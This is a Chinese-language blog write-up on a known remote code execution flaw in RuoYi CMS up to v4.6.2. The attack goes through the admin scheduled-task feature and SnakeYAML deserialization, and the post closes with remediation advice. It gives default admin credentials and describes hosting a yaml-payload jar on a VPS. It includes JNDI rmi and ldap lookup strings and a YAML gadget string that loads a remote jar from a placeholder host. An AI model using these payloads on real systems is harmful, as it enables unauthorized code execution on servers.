若依 cms 后台写入计划任务 RCE


前言

一次失败的 getshell。

本来一处资产通过弱口令 admin、admin123进入后台,但是没能发现后台是什么 cms 或者框架写的,尝试了一些上传点没成功后就继续测其他资产了,好在有高人指点,发现后台有一处可以写入定时任务,上网搜了相关文章,才发现这个后台是若依 cms ,有历史漏洞就是通过这处定时任务能够 rce。遗憾的是这个后台是个高版本的若依搭建的,最终没能成功利用,不过顺便写了这篇笔记。

影响版本

RuoYi <= v4.6.2

环境搭建

若依的项目下载地址在这里:

https://github.com/yangzongzhuan/RuoYi/releases

这里我在本地搭建的环境为版本v4.6.1的,在影响版本范围内。

需要下载redis服务,在本地6379开启redis服务。具体搭建细节可以参考这个博客:RuoYi(若依开源框架)-前后台分离版-idea搭建运行

搭建完成后,运行项目,即可通过浏览器访问对应端口,得到如下后台登录页面:

若依后台登录界面

默认用户名和密码输入admin:admin123,即可登录后台

进入后台

漏洞利用

漏洞产生处是系统监控模块中的定时任务,在其中调用目标字符串中填入恶意的payload,即可利用计划任务进行rce

漏洞点

关于payload,有大佬已经在github上写好了,地址如下:artsploit/yaml-payload

下载下来后,需要将 AwesomeScriptEngineFactory.java 文件中的命令执行语句改成自己要执行的命令,如下图:

修改payload

注:这里我利用的 dnslog进行验证,使用的是CEYE - Monitor service for security testing这个 dnslog平台。

然后在src所在目录下打开cmd运行如下语句,将该项目编译成jar

最后得到yaml-payload.jar文件,将其丢到自己的vps上,然后在vps上开启http服务,这里我利用python开启个简易的文件下载http服务

在自己的服务器上开启简易的http服务

然后在刚刚登陆的若依cms后台,添加定时任务,这里构造的调用目标字符串如下:

其中cron表达式 0/10 * * * * ? 意思是每10秒执行一次调用目标字符串的任务,这里就不详细说明了,留到下一篇笔记记录学习。

写入计划任务

这里我写入后,点击任务状态下的那个按钮,启动定时任务,但是发现最后一直没执行成功,点开上面日志后才发现运行失败了(下图),后来猜测是我搭建平台的问题,想到windows平台不存在类似cron表达式的计划任务形式,索性我就直接改成macos平台测试了,和linux差不多的计划任务方式。

执行失败

换成 mac后(mac 系统和 linux 系统相近,也有计划任务),搭建相同的环境,再次利用,终于看到回显结果(我 mac 电脑主机名是 jackielee):

成功得到回显结果

漏洞产生原因

若依后台管理系统使用了snakeyaml 的jar包,snakeyaml是用来解析yaml的格式,可用于Java对象的序列化、反序列化。而若依后台管理系统可以通过定时任务功能构造payload远程调用jar包,从而导致 RCE。

当然还可以尝试下面两种打法:

org.springframework.jndi.JndiLocatorDelegate.lookup('rmi://127.0.0.1:1099/refObj')

javax.naming.InitialContext.lookup('ldap://127.0.0.1:9999/#Exploit')

漏洞修复

首先是修复yaml 反序列化问题,加入new SafeConstructor()类进行过滤

public class main {

    public static void main(String[] args) {

        String context = "!!javax.script.ScriptEngineManager [\n" +

                "  !!java.net.URLClassLoader [[\n" +

                "    !!java.net.URL [\"http://ip:1234/yaml-payload.jar\"]\n" +

                "  ]]\n" +
                "]";

        Yaml yaml = new Yaml(new SafeConstructor());            //加入new SafeConstructor()类进行过滤

        yaml.load(context);

    }

}

再次进行反序列化会抛异常。

再者就是拒绝不安全的反序列化操作,反序列化数据前需要经过校验或拒绝反序列化数据可控。

高版本的若依 cms还屏蔽了 http、rmi、ldap 这些协议,也难怪我没能成功 getshell那个若依后台。


文章作者: anch0r
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 anch0r !
  目录